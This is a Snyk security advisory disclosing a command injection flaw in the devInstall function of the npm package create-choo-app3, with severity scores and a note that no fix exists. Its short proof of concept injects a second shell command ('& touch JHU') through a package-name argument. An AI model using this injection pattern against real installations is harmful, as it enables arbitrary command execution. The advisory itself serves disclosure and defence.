Command Injection Affecting create-choo-app3 package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.07% (30th percentile)

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  • Snyk ID SNYK-JS-CREATECHOOAPP3-3157951
  • published 5 Feb 2023
  • disclosed 6 Dec 2022
  • credit Mingqing Kang

How to fix?

There is no fixed version for create-choo-app3.

Overview

Affected versions of this package are vulnerable to Command Injection via the devInstall function due to improper user-input sanitization.

PoC

var root =require("create-choo-app3")
root.devInstall("./",["& touch JHU"],function(){})

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.4 high
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

7.8 high